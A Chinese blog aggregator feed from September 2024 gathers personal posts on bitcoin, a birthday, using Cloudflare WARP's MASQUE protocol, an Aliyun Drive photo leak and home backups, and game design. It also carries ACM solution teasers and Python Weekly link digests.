by 小吴乐意 at September 26, 2024 09:25 AM

September 25, 2024

howiehz

不怕流氓多,就怕流氓有文化——站长应该防范的几个问题及对应解决方法分享

以下问题按照难防范程度升序排序,欢迎在评论区补充。 分析统计服务被刷广告 注:分析统计服务如 Umami,Google Analytics 情况描述:出现不知名的网站来源,去访问对方网站但没发现挂你的链接。污染统计数据。 解决方法 1:忽视对应域名 解决方法 2:屏蔽对应域名 网站恶意镜像 情况描述

by HowieHz at September 25, 2024 11:53 AM

xiaowuleyi

如果每人都有一点比特币,世界会发生什么?


从2017年开始我接触比特币,就不断有人把比特币定义为“骗局”。嗯,从1btc=10000元RMB开始,就不断唱衰。都2024年了,1btc=450000RMB了,还有人把比特币当做“传销”“骗局”。嗯,行吧,这样的人,大概率是脑子里只能进行单一维度的思考。咱也不去纠正他们,各自开心就好。

回到本文的主题“如果每个人都有一点比特币,世界会发生什么?”,这算是一个思想实验,而且未来10年以后,还真的可能会发生。不能说人人都有吧,至少也不比美元的覆盖率差多少。不知道10年之后,美元还硬不硬气?

比特币并不是货币,或者说货币只是比特币的其中一个“角色”。我们通俗意义上理解的货币,必然是国家发行的具有明确信任载体的等价物。比特币并非国家发行,而是基于代码生成,由无数的比特币矿机按照达成共识的代码共同运行。在运行过程中通过复杂的计算,并且是基于区块链技术,按照单向顺序逐块生成且不可逆。

两者的最大区别就是,中心化与去中心化,无限增长和数量永恒。

几乎每个国家都有自己的货币,可以在自己的国家自由使用,用来交易。甚至有的货币还可以去别的国家交易,成为世界货币。这背后是国家信用的象征,你可以在北极,南极,珠穆朗玛峰上都能找到它的痕迹。而这最深层的本质是,国家实力。

有了这个实力,甚至可以略带强制性的,让其他国家接受非本国货币。从而把自己国家的货币当做世界货币,最后再通过调控,收割全世界。真正做到,人在国中坐,轻松拿捏全世界。比起之前的打打杀杀,金融战才更有性价比。

有时候我在想,如果今天世界货币的头把交椅不是美国,而是其他国家,是不是大概率也是会按照美国的逻辑来拿捏全世界。在各个国家驻军,全球遍布军事基地,时而疯狂的印钞,时而疯狂的降息。屠龙者变成恶龙的事情也不是不可能,又或者,这就是成为世界货币之王的命中注定?

大到国家,小到个人,不在于你的讲的道理对不对,都在于你的拳头硬不硬,你的刀快不快,你的导弹多不多。更何况,这世界哪有那么多道理要讲,掌握真理的人的实力始终要比挑战真理的人的实力强才是真的真理。换个简单例子,我们小区楼道总有人抽烟,搞得公共区域乌烟瘴气,如果国家规定,明天公民可以自由持枪。你看看还有没有人抽烟(当然,反对抽烟的人数要多才行,哈哈)。

法律讲不明白的,那就讲武力讲暴力。垄断暴力,才是很多事情的最基本保障。什么人之初,性本善,都是扯淡,哪有那么复杂。人既不善,也不恶,到底该善该恶完全取决于环境,这就是人性。

而比特币,不相信人性,只相信代码。如果我说,我跟吴彦祖颜值不相上下,可能同意的人不会超过80%(不同意的mjj),但是如果我说,1+1=2,那么同意的人会是100%。当然,这里我偷换概念,观点和事实当然不能用来同时对比。

但有趣的地方就来了,如果我们只聊事实,那不就不再有对错之争了嘛。我们只聊事实,不就能以最低的成本最高的效率达成共识了嘛。我们只聊事实,不就能省去质疑怀疑,成就价值了嘛。

代码就是事实。

法国大革命时期《人权宣言》指出:财富神圣不可侵犯。这也是民主国家的最基本共识,也是所有普通人的积累财富的动力和财富希望。当然这依然是国家给民众的“安慰剂”,纵观世界历史,国泰民安的盛世,大家相安无事。但是一旦危机存亡之际,那层窗户纸就捅破了,脸皮也撕破了。

比特币的出现,算是真正做到了“财富神圣不可侵犯”,只要你保存好自己的私钥不泄露,你的比特币将永远属于你。关于比特的安全性,有空再单独讲讲,那可是一个大系列。

大家可能都听说过不可能三角,就是说三个目标不可能同时实现。那在没有比特币之前,国家与公民是相爱相杀的状态。不是奴役就是反抗,中间夹杂着短暂微妙的平衡,但终究还是不长久,无法持续。原因就是我前面表达的,我有枪在手,跟你讲那么多道理没必要。国弱民强,国强民弱,是一种很好的状态描述。

而比特币出现以后,这种情况似乎开始有微弱的变化,似乎可以出现一个“不可能三角”,这分别是,国家,比特币,公民。就简单粗暴的按照强弱逻辑来阐述我的观点吧。只可以有两个角色变强,另一个则会变弱。

国家强,比特币强,国民弱(国家掌握大量比特币成为国家储备,且数量巨大,导致比特币极度稀缺,则普通人更难获得。)

国家弱,比特币强,国民强(国家层面忽视比特币,普通公民逐渐达成共识,人人持有比特币,则国家话语权减弱。)

国家强,比特币弱,国民强(国家盛世,天下太平,世界大同,那就没比特币什么事了,但理想状态,想想就得了。)

这里面,最理想的状态是世界大同,最差的是国强民弱,最有性价比和实现可能性大的,就是人人持有比特币。国家无法消灭比特币,也无法剥夺公民持有的比特币,就只能转变角色,真正的思考如何提供更好的服务,真正的让人民感受到环境变好。

当然,这个过程并非想的这么简单,也绝非一朝一夕,3年5年就能实现,这都需要每个人去努力实现。从开始的少数人,到慢慢的一部分人,到以后的大多数人,以及所有人。这不是简单空泛的理想主义,这不是不切实际的幻想,这是脚踏实地,一步一步走向的未来。

正如那句话所言:未来已来,只是尚未流行。

Ps:本文不构成投资建议,仅作观点探讨,抛砖引玉。

打个广告:抖音搜索【蒙特敖汉特产】,我妈开的特产店,主营敖汉小米(孕妇,老人,小孩,健康人群),自家碳烤牛肉干,可以发快递到全国。提我有优惠,一份心意,愿您吃的健康。

by 小吴乐意 at September 25, 2024 03:39 AM

September 24, 2024

xiaowuleyi

25(36)岁生日再次快乐一次吧

没想到日子过得真快,刚过完阴历的生日,又赶上了阳历的生日。哈哈哈哈,不知道现在00后过生日是不是只过阳历生日了。在我们小时候,过生日只过阴历生日,或者说阴历的生日是被当做“真正的生日”。
杨总在没有告知我的情况下,定了一个蛋糕。还挺可爱的,更有意思的是,快递师傅在送蛋糕的过程中,不小心把蛋糕上面的小熊给晃掉了。如下图所示:

而杨总也并没有因此生气,我们两个反而很开心,觉得这个蛋糕的意义更不一样了。而且这只可爱的小熊不像是滑下去,更像是在往上爬。总之看起来是很有趣的,还特意选了一个25岁的年龄装饰。倒是可以留着等我52岁生日的时候再拿出来。
蛋糕味道还挺好吃的,不腻人,甜度也尚可。比起小时候吃的那种甜度超高,而且做工也不是多么精美的生日蛋糕,确实强了很多。但小时候过生日,相当热闹,没想到蛋糕的质量与生日的热闹氛围成反比。这也许就是人们常说的长大了吧。
因为光顾着吃蛋糕,又忘记自己牙疼的事情了。果然杨总批评我说我长了个吃的脑袋,确实如此。现在牙齿微微疼痛,似乎也在告诉我,我的身体依然不是以前那么抗造了。该克制就要克制了。
哦对了,今年和明年,我与杨总还有一个更好的期待和计划。我想不说你也能猜到,那我就不说了。保留一点点神秘,我们才会有更多的交流机会。
小吴乐意,生日快乐~

打个广告:抖音搜索【蒙特敖汉特产】,我妈开的特产店,主营敖汉小米(孕妇,老人,小孩,健康人群),自家碳烤牛肉干,可以发快递到全国。提我有优惠,一份心意,愿您吃的健康。

by 小吴乐意 at September 24, 2024 02:25 PM

howiehz

Hrbust ACM编程练习 20240922 题解分享

相关文章链接 算法题练习 题解分享 文章汇总 前言 题单链接:编程练习20240922 @ Hrbust Online Judge A 题 d 的数据类型要用 double 而不是 float ,否则最后计算的答案会有精度损失。 Cpp Code #include <bits/stdc++.h> u

by HowieHz at September 24, 2024 05:58 AM

Hrbust ACM练习 2024级第5周题单 题解分享 (A-C,F-H)

相关文章链接 算法题练习 题解分享 文章汇总 前言 题单链接:2024级第5周题单 - Virtual Judge (vjudge.net) A 题 原题链接:ABC 339C Python Code from itertools import accumulate input() min_num

by HowieHz at September 24, 2024 05:49 AM

September 23, 2024

xiaowuleyi

感谢“赛博菩萨”的Cloudflare的“MASQUE”协议

被誉为“赛博菩萨”的Cloudflare又又又发福利了,翻墙爱好者又能多一个免费的羊毛。即便已经有稳定梯子的小伙伴,也可以把这次的福利当做备用方案。万一机场被端了,或者IP以及域名被封了,那么还可以启用Cloduflare提供的服务作为备选方案。
以我个人体验来分享一些经验,抛砖引玉,期待交流和探讨。
这次Cloudflare在之前的一个叫“cloudflare WARP”的软件上提供过VPN服务,不过已经被墙不能使用。而这次,新增了一个叫“MASQUE”协议。开启以后,可以实现魔法上网,速度也还可以,后面我会说到。这个新的协议目前是毫无压力的通过了长城防火墙,免去了之前复杂的翻墙操作,也无需去搞什么优选IP。
下载地址是:1.1.1.1
如果之前大家有薅过WARP+羊毛的,手里应该还有不少流量,我目前还有23PB的流量,已经非常多了,完全够用了。如果还没有这个福利羊毛,可以谷歌一下,还有不少办法可以获得超多的免费额度流量。也不难,所以叫cloudflare一声“活菩萨”一点也不夸张。
基本上我的域名全部都在cf上面,买域名也都从cf上下单。我明知道9月份域名续费要涨价,也没有在8月份提前续费,真的是在自己省钱和能让cf赚钱的平衡中找到了平衡。
其实还有一个低调的活菩萨,就是甲骨文。目前我的梯子就运行在甲骨文上,当时是免费的羊毛,恰好我的外币信用卡没有被风控,直接注册成功。配置虽然不高,但是已经足够用了,0.5G的带宽速度,看4K无压力。
那么就不得不说一下我使用Cloduflare的体验,白天的速度,能跑到1.5G的样子,看8K都没压力。但是提速过程不太尽如人意,并不是那种丝滑的提速,还是略有不稳。到了晚上,应该是网络高峰了,使用起来就能感到压力山大。速度跟甲骨文的速度差不多,但稳定性上差了一些。
所以,如果你打算长期使用,那么可以静观后续cf的速度能否优化调整。我依然建议把他当做备选方案,毕竟cf这么树大招风,搞不好哪天又是连锅端了。还是Vmess协议目前当做主流比较好一点。
说个好玩的,我之前的一个梯子用的非常稳定非常好,但是有个朋友的外国朋友来中国,才发现中国除了北京的长城还有中国的“长城”。于是求助我,帮忙实现一些魔法上网,但我分享给这位外国友人我的梯子以后,不到2天。我的梯子就莫名巧妙不能使用了,貌似还域名临时封了。
现在重新更新了一些配置,又换了一个IP,目前稳定运行中。也不知道这是什么情况,莫非是用的人太多了。想想也不是不可能,现在我的这个配置紧凑的服务器上,大概有5-7个人在用,设备算下来的话,大概有30台这样。哈哈哈,高并发,压力山大。
感谢Cloudflare,感谢甲骨文,感谢这些还有那些不作恶的互联网公司。

Ps加一段,目前是苹果手机,安卓手机都可以使用,如果是Mac OS上面,客户端按照如下操作:
1⃣ [Advanced] -> 勾选 参加测试项目,升级到 BETA 版。
2⃣打开终端切换 MASQUE 协议:warp-cli tunnel protocol set MASQUE
3⃣检查切换结果:warp-cli settings | grep protocol

打个广告:想吃地道的牛肉干,地道的敖汉小米,可以联系我。牛肉干是0添加,纯手碳烤,敖汉小米更是纯本地粮食,品质好,联合国推荐的健康食品。更有很多敖汉本地性价比高的杂粮等,可以抖音搜索关注:蒙特敖汉特产。

by 小吴乐意 at September 23, 2024 12:57 PM

codingnow

最近玩的几个游戏

这个月没有写什么程序。月初停下手头的开发工作,花了一周时间,作为 Indieplay 评委试玩了 200 多个参选游戏中的 100 多个。这个工作暂停之后,我就对前两个月对自己想做的游戏产生了许多疑惑。虽然写了不少代码,但仅限于基础玩法的外在功能:我实现了一整套类似边缘世界和缺氧里的工人系统,让小人可以在场景中活动起来,采集物资,建设建筑。让机器可以通上电运转起来,把原料加工为成品。但这些似乎只是一种模拟过程,而并非游戏。

我感觉自己对游戏到底想展现怎样的游戏体验没有清晰的认识。虽然在这篇采访中 也提到,(缺氧的最初设计是)“希望整个游戏运行在一个开放的(虽然简单的)模拟之上”。但我觉得模拟毕竟不是游戏,难以给玩家提供丰富的游戏体验。或者说,至少对于我这样的玩家,没有清晰的游戏目标和挑战是不行的。而且,实现一个丰富的游戏环境模拟面临的挑战我现在还无法评估,至少在当下,这不是我优先想做的东西。

我给游戏定下的基调是基地建设加生存挑战类型,或许应该有一些资源管理和 Roguelike 元素。工人管理或自动化元素是我比较喜欢的,但玩过几千小时类似游戏后,我感觉这些元素只是给予玩家体验的一种手段,并非目的。单独玩某个特定玩法,或许也能有趣,但体验却会大相径庭。

比如,我这个月花了不少时间玩 Shapez 2 。这是一个把自动化做到极限的游戏。玩家不再需要考虑能源、制造成本等问题,也没有敌对势力,只需要专心铺工厂,研究如何把工厂规模扩大并保持生产效率最大化。看起来, Factorio 关掉虫子后,也是在干这个事,但我玩下来体验其实是不同的。如果单纯想玩自动化规划,Shapes 显然更轻松有趣;但从游戏性上来说,我更喜欢 Factorio 一点。

我还玩了几天 The Crust 。这个游戏在我的愿望单里放了很久,一发布就开始玩了。我想这是一个 Factorio 和 Rimworld 的混合体。前半部分有很大的 Factorio 成分,玩到十几小时之后,又掺入了殖民地管理和工人分配的玩法。目前它处于 EA 阶段,感觉很多东西还不太成熟。仅就现在完成部分来说,我不是特别喜欢。它的自动化部分略显粗糙,殖民地管理部分又似乎不太完善。关键是交互体验非常糟糕(需要打磨),科技树的平衡更是一言难尽。而它又不像 Factorio 那样有一个坚实的游戏内核,可以通过 Mod 不断扩展玩法;玩起来的体验更依赖于设计好的场景来推动。

最近另一个让我略微失望的游戏是 Frostpunk 2 。一代是我最喜爱的游戏之一,这次 2 的豪华版可以提前 3 天玩游戏,我迫不及待就下单了。用了一天时间快速通关。玩这个游戏,有很大成分是我最近在思考生存类的基地建设游戏该怎样设计。如果没有一代珠玉在前,这也算是不错了。可惜玩过一,核心体验非常雷同。这是一个标准的由预设关卡驱动的基地建设游戏,无尽模式比较无趣。挑战预设剧本是我获得乐趣的主要来源。失败再挑战的循环,让我在一代中花了几十上百小时。但一旦理解了核心规则,抛开“通过玩家抉择来叙事”这个独特的体验,专心考虑如何提高各种数值,游戏不算太难:和一代一样,只需要快速发展科技,回避那些看起来符合短期利益的选择,不采用激进方案,就能达到最优解。这次的二代场面变得宏大,去掉了一代修房子安排工人的微观管理,让游戏体验变成了类似 Excel 表单中的各种进度条。这让我感觉体验不如一代。

和前面提到的 The Crust 一样,这个游戏也有超出同类游戏平均水平的画面质量。这类游戏拥有的高画质反而让我在玩之前就倒扣了期待分,我的这个直觉几乎每次都是对的。如果游戏画面无法帮助玩家更好的理解游戏内涵,那就毫无意义。比如 Frostpunk 2 ,玩家根本不需要关注里面的建筑细节,那么游戏画面精细的刻画建筑就是在浪费开发成本。玩家更关注每个区域的状态和功能,真不如直接给每个区块标记上颜色就够了。而现在默认的画面,看上去场景就是白茫茫一片,关键建筑,即使按住 Alt 凸显出来,还是没有区分度。甚至于,如果有个文本表单都比现在的华丽画面强(不至于让玩家找不到北)。

我最近几年对 Minimalist 极简游戏特别有好感。没有画面加成,极简风的游戏会把注意力放在游戏设计上。一旦核心玩法出众,就很难被掩盖。极简画风也不容易在游戏过程中分心,画面更注重表达游戏规则,学习成本通常更低。例如,我前几天完了一堆塔防游戏,发现最近的新作中,还是极简塔防 最为有趣。

最近玩的比较多的另一个有塔防元素的游戏是 Drill Core 。我感觉它受到了 Dome Keeper 的启发,但青出于蓝。目前在 steam 的评价中,有许多负面评价集中在挖掘过程里随机性带来的损失对体验的伤害。但我一口气玩了数十小时候,反而觉得那些是设计好的玩法,是游戏特点之一。例如挖掘过程中遇到的落石、喷火块、烦人的地龙,都可以通过合理的规划而避开。游戏似乎故意设计成无法具体对单个工人下指令,必须通过布置任务和设置优先级的方式这种间接的方式控制工人的行为。在充分了解规则后,这反而是一种挑战。只不过现在这种交互方式过于隐晦,而规则又不明确,导致有时体验比较糟糕。在微观管理为主的游戏中,玩家需要的其实是确定性规则,过于智能的 AI 未必是好事。这点我是在去年设计工厂类游戏中学到的:因为想为手机设计的缘故,局限于手机的不便交互,我们去掉了传送带,而使用更智能的无人机运营物流。智能规则导致了物流中的许多不确定性,反而没有传送带这种确定规则好玩了。

随机性带来的不确定性也未必是坏事。但围绕随机性的游戏体验应该是教会玩家做风险管理。例如我最喜欢的 Roguelike Rogue's Tale 就是这样一个风险管理游戏。我最近还发现了另一个被玩家批评随机性太强的游戏叫做 Derelict_Void 。我还没怎么玩,暂时不予评价。关注它是因为这个游戏似乎包含了我目前想做的游戏的各种元素:太空生存、基地建设、资源管理…… 看起来它受到更早的一个游戏 OutThere 启发:基于非常有限的资源探索宇宙,尽可能的活动下一个目的地。玩家需要非常小心的平衡氧气、水、有机物、燃料的使用,尽量养活合适数量的船员。没有和敌对势力的战斗(像 FTL 那样),但依然有极大的生存压力。

by 云风 at September 23, 2024 10:18 AM

September 22, 2024

xiaowuleyi

阿里云盘数据泄露之后......

前几日,阿里云盘爆出漏洞,具体情况如下:

9月14日晚间,多名网友发帖称,阿里云盘出现bug,在阿里云盘的相册中,只要创建一个新的文件夹,在分类中选择图片,便加载出了大量其他用户的照片包括自拍、风景照、一家人旅游时的照片等。

而这还是被爆出来的,至于在此之前,是否有人已经长期在利用这个漏洞,获取更多其他用户的照片视频,就不得而知了。各大互联网公司所谓的“安全”真的也就是说说而已吧。虽然世界不是一个草台班子,但很多草台班子才能干出的事情,这些大公司也能干出来。
虽然说没有绝对安全的系统,但发生这件事,我都不知道怎么吐槽了。不幸中的万幸是,我已经及时的再把自己的数据存回本地,避免使用这些互联网公司的类似云端相册的功能。虽然还没办法杜绝云端备份,但也许就在不久的以后吧。至少还要有其他2个地方,让我能轻松的做到本地备份,然后才能彻底切断云端备份。
分享交流一下我现在的相册备份方案:基于本地搭建的Mtphoto服务,自动同步手机相册到本地服务器,同时再使用syncthing把本地服务器的数据同步到另一台windows电脑上一份,再把win电脑的数据使用同步盘的方式,同步到阿里云盘的数据文件夹。
Mtphoto的数据是核心,其他的是同步备份或者异步备份。这样也算安心一些,虽然还是侥幸心理,但也实属无奈,过一阵打算老家,买一台树莓派,重新搭建另一个备份服务器,就可以考虑是时候把阿里云停用了。
之前,我所担心的是数据泄露,虽然这也属于不可抗力,但终究还是能再大规模泄露的时候能有一些侥幸,毕竟如此庞大恐怖的数据量,从里面筛选有用的内容,也不亚于泳池里捞针(哈哈哈哈)。但有了Ai以后,这件事情变得不一样了。
这些网盘服务想盈利,就要用户付费。花钱买更多的空间,更快的下载速度,以及其他的特权,那么不花钱的,就只能想办法节省存储空间,用更多时间去下载文件。或者还有一些其他如广告特权,联名会员卡等增值变现服务。其他变现手段比较难,所以大多数网盘业务都不是这些互联网大公司的重点关照对象。
但有了Ai,这些用户数据就是最好最佳的数据养料。大把的视频图片,就这么源源不断的主动送上门,通过这些数据,Ai的模型进化会越来越快,分析能力和准确度也会不断提高。真的是比你还了解你。
那么网盘业务就不只是卖会员来养活自己了,而是把用户的数据当做自己的护城河当做自己的养料。真正实现了羊毛出在猪身上牛来买单,用户以为自己白嫖了网盘服务,实际上自己就成了案板上的羔羊,成了园子里的韭菜,随时待宰,随时被收割。
更细思极恐的是,那些已经被泄露的照片和视频,也会被黑客拿去训练Ai,同样也能当做养料。而因为本身就突破了法律道德的底线,能做的事情会更多,获得的收益和利益会更大更多。
不管互联网公司如何的信誓旦旦保证用户隐私,我劝各位,都别信。永远不去盲目的相信人性的善,这样的坑,我们踩得还少吗?甚至有些公司对外的公开发言,都不藏着掖着了,还大言不惭的说,用户不在乎自己的隐私,用户为了一些便捷是愿意“出卖”自己的隐私的。
当我们把一切数据都放在云端,就意味着我们在未来的某一天,会花费巨大的成本把曾经那么轻松传上去的数据“搬”回来。谨慎使用云服务,做好数据安全,保护自己的隐私。

by 小吴乐意 at September 22, 2024 12:06 AM

September 21, 2024

pythoncat

Python 潮流周刊#70:微软 Excel 中的 Python 正式发布!

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,2 则音视频,全文 2000 字。
以下是本期摘要:
① 微软 Excel 中的 Python 正式发布
② UV 汇总:五篇好文章和一个 pre-commit 技巧
③ Spiderweb:一个微型的 Web 框架
④ 使用 PyCharm 也能玩转 Jupyter Notebook
⑤ 为什么要学习 Python 并发?
⑥ 为 Python 开发和优化 Rust 扩展
⑦ 随机性提取器:从有偏差硬币中制造公平硬币
⑧ 我在 PSF 董事会任职时学到的东西
⑨ 对网上所有的 PDF 进行分类
⑩ 用 Python 开发简单的模糊测试程序
⑪ Sans I/O 将理论付诸于实践
⑫ 为什么编程语言的文档还如此糟糕?
① sherlock: 按名称查找社交网络上的账号
② WindowsDowndate:接管 Windows 更新,可自定义降级漏洞
③ pyedifice:Python 和 Qt 的声明式 GUI 框架
④ uvtrick:从一个 venv 中运行其它 venv 代码
⑤ smartcut:无需写代码,剪切视频文件
⑥ pyrtls:基于 rustls 的 Python 现代 TLS
⑦ pocketpy:现代 C 语言开发的可移植 Python 3.x 解释器
⑧ wifi-crack-tool:WiFi 密码暴力破解工具
⑨ finic:创建基于 Playwright 的浏览器代理
⑩ papermill:参数化、执行和分析 Jupyter Notebook
⑪ Local_Knowledge_Graph:基于 Llama 的本地知识图谱
⑫ 纯文本会计(PTA)的大量资源
① Python Bytes:庆祝第 400 期节目
② Python 中 13 个让人惊讶的特性
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 70 期周刊的全文:https://xiaobot.net/post/72e02f9c-33ba-4514-8b25-8c58bca714ef
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

September 21, 2024 12:00 AM

September 17, 2024

agen233

风、诗歌和远方 | 豪爵USR125记

本文为体验测评纯主观内容,纯粹个人喜欢喝选择,无需理由,亦不是广告

文章内所有外链和商品购买链接,均属普通分享,博主不对其内容任何负责

暑假去项目实训了,天天来回30公里,也是骑了两年的从我妈手上拿到的老爷本田车终于支撑不住了,油耗高不说,一个星期五天有三天把我扔路上了,于是忍无可忍之下也是萌生了买车的想法。一方面,买车是全力倚父母的结果,所以预算不能太高,只能控制在15k以内。

September 17, 2024 02:49 PM

September 16, 2024

howiehz

Hrbust ACM练习 2024级第4周题单 题解分享 (A-G,J-O)

相关文章链接 算法题练习 题解分享 文章汇总 前言 题单链接:2024级第4周题单 - Virtual Judge (vjudge.net) 很多同学困惑怎么学习 C++,我在此分享下我的经验。 我也是刚学习 C++ 没几天,按照我之前自己学习 Python 的经验来说,如果有条件买本翻译水平较好的

by HowieHz at September 16, 2024 01:22 PM

September 15, 2024

pythoncat

Python 潮流周刊#69:是时候停止使用 Python 3.8了

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,全文 2100 字。
以下是本期摘要:
① 是时候停止使用 Python 3.8 了
② 多版本 Python 库的思考
③ 为什么我要从 Pandas 切换用 Polars?
④ 我们如何将 Jupyter Notebook 的加载速度提高 10 倍?
⑤ 异步 IO:下一个 10 亿美元的错误?
⑥ 使用各种 Web 框架开发相同的程序
⑦ 用 Weaviate 和 Streamlit 开发一个电影推荐应用
⑧ 用于 Docker 构建的 PyPI 代理
⑨ 被 Unicode 咬伤了
⑩ Rust 用于小型任务?那么 Python 呢?
⑪ Go 与 Python 无服务器应用:性能、成本和易用性
⑫ Google Trends API 替代方案:维基百科网页浏览统计
① polar:开源的 Lemon Squeezy 替代品
② gigi:用于实时渲染的原型设计和开发框架
③ nestedtext:一种用户友好的数据格式
④ maestro-cli:在命令行中播放音乐或任意音频
⑤ repo2file: 选定代码仓多文件,转储成单个文件
⑥ edx-platform:Open edX LMS 和 Studio
⑦ langflow:用于 RAG 和多代理 AI 的低代码应用开发工具
⑧ crawl4ai:LLM 友好的网络爬虫和抓取器
⑨ litecli:SQLite 的 CLI,支持自动补全和语法高亮
⑩ defusedxml:拆除 XML 炸弹和其它漏洞
⑪ sail:使命是统一流处理、批处理和计算密集型 (AI) 工作负载
⑫ dbos-transact-py:超轻量级的持久执行
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 69 期周刊的全文: https://xiaobot.net/post/845dd34d-d656-4ae3-aa6b-693c5fef8a29
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

September 15, 2024 12:00 AM

September 12, 2024

meituan

KDD 2024 OAG-Challenge Cup赛道三项冠军技术方案解读

大众点评技术部/搜索与内容智能团队组成的BlackPearl队伍,参加了2024年KDD 2024 OAG-Challenge Cup赛道的WhoIsWho-IND、PST、AQA三道赛题,以较大优势包揽了该赛道全部赛题的冠军,本文对这三个赛道的夺冠方案分别进行了解读,希望对大家有所帮助或启发。

by 美团技术团队 at September 12, 2024 12:00 AM

September 09, 2024

howiehz

Hrbust ACM练习 2024级第3周题单 题解分享

相关文章链接 算法题练习 题解分享 文章汇总 前言 题单链接:2024级第3周题单 - Virtual Judge (vjudge.net) 有些题不能提交 Python 代码,所以只有 Cpp 代码。 我尝试找了找这些题的出处,搜索引擎中搜到的题解大多比笔者写得更好,所以建议直接检索对应题目的题解

by HowieHz at September 09, 2024 02:50 PM

meituan

新一代实验分析引擎:驱动履约平台的数据决策

本文介绍了美团履约技术平台的新一代实验分析引擎,该引擎对核心实验框架进行了标准化,并融合了众多先进解决方案,有效解决小样本挑战。同时,提供了多样化的溢出效应应对策略,并针对不同业务场景提供了精准的方差和P值计算方法,以规避统计误差。希望对大家有所帮助或启发。

by 美团技术团队 at September 09, 2024 12:00 AM

September 07, 2024

pythoncat

Python 潮流周刊#68:2023 年 Python 开发者调查结果

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,2 则热门讨论,全文 2100 字。
以下是本期摘要:
① 2023 年 Python 开发者调查结果
② 为什么在 Docker 中我仍然要用 Python 虚拟环境?
③ 我如何用 Python 做数据分析项目?
④ 用 Python 试玩十亿行挑战
⑤ 介绍 Python 中的模板方法设计模式
⑥ 鲜为人知的 Python 标准库
⑦ 如何用 Python 实现基于时间的 LRU 缓存?
⑧ CPython 虚拟机的设计和实现
⑨ 我们如何用 chDB 使得查询 Pandas DataFrames 的速度提高 87 倍?
⑩ 如何让 macOS 逃脱 Anaconda 的束缚
⑪ 用 tracemalloc 计算 Python 分配的总内存
⑫ 优秀软件工程师的 12 个习惯
① supertree:用 Python 作决策树可视化
② kazam:AI 赋能的 Linux 录屏、广播、截屏和 OCR
③ python-training:面向业务分析师和交易员的 Python 培训课
④ pymobiledevice3:用于 iDevices 的纯 python3 实现
⑤ xiaomusic: 使用小爱音箱播放音乐
⑥ amine:监控鼠标和键盘的防分心工具
⑦ asyncpal:适用于零星工作负载的抢占式并发和并行
⑧ tinystatus:用 Python 脚本生成状态页面
⑨ graphiti:构建和查询动态的可感知时间的知识图谱
⑩ librosa:用作音频和音乐分析的 Python 库
⑪ Nettacker:自动渗透测试框架-开源漏洞扫描程序-漏洞管理
⑫ HivisionIDPhotos: 一个轻量级的AI证件照制作工具
① GoLang 和 Python ,哪个更适合做 Java 程序员的第二语言?
② 0 基础自学 Python ,这个付费 Python 课程如何?请大佬给点建议
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 68 期周刊的全文

September 07, 2024 12:00 AM

September 03, 2024

codingnow

Ant 引擎的一些改进计划

我独自开发游戏已经有三个月了。这三个月里,我是 Ant Engine 唯一活跃用户,这是一个很好的机会来挖掘对于一个独立游戏开发者来说,引擎哪些地方有缺失。现阶段,我还是希望把精力放在游戏开发上多一些,所以引擎方面恰恰够用就好。虽然,完善引擎这件事做起来会更愉快,因为这些工作对于我比较顺畅,容易想清楚,游刃有余;而一个人开发游戏,更多的时候是手跟不上心而产生的烦闷。

我还是想挑战一下自己,把游戏设计好,实现好。引擎方面的事情,把想到的东西先记录一下。或许完成手头的游戏项目,沉淀更多,再回头做引擎,愉悦感更强一些。

首先,可视化编辑器 对我来说不重要。所以暂时就不维护了。我更需要的是一些快速验证眼下游戏设计中想法的功能,这些就在游戏 demo 中顺带实现就好,看起来没必要放在编辑器里。这和现阶段没有美术参与也有关系。因为对我自己做独立游戏来说,我不在乎开发进度,先做美术还是后做美术,区别不是很大。本来我自己就喜欢传统 roguelike ,几个 ascii 字符就能脑补所有的美术表现。我想,游戏原型阶段就不需要美术在编辑器里做创作了,用一些几何体就够用。这也是为什么我在三个月前最先完善的就是 Ant 引擎中预制几何体 这个功能的原因。

我在使用 Ant 引擎的时候,发现因为缺乏具体 API 文档而只能不断的阅读源代码(毕竟有很多模块不是我自己动手写的,无法全部了然于心)。而且并非每个模块的设计都满意,这让我经常有修改引擎的冲动。做了一段时间后,我找到一个方法来解决这个开发问题。我可以额外再做一个精简版的框架,按目前开发游戏的需求,从最基本的功能做起,逐步完善。这样就能隔绝引擎已经做好的部分:好用的模块直接做一些浅封装,有问题的部分可以多花些精力做不侵入(破坏老代码)的改进。

